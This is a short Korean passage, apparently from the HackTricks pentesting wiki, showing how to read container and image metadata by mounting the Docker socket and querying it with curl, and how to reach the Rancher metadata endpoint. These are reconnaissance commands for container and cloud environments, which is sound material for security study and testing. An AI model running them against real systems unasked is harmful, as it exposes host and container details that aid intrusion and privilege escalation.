Docker 소켓을 통해 컨테이너 및 이미지 메타데이터에 접근하는 간단한 예: - `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` - 컨테이너 내부에서 Docker 소켓을 사용하여 curl을 사용합니다: - `curl --unix-socket /var/run/docker.sock http://foo/containers/json` - `curl --unix-socket /var/run/docker.sock http://foo/images/json` ## Rancher Rancher의 메타데이터는 다음을 사용하여 접근할 수 있습니다: - `curl http://rancher-metadata//` {{#include ../../banners/hacktricks-training.md}}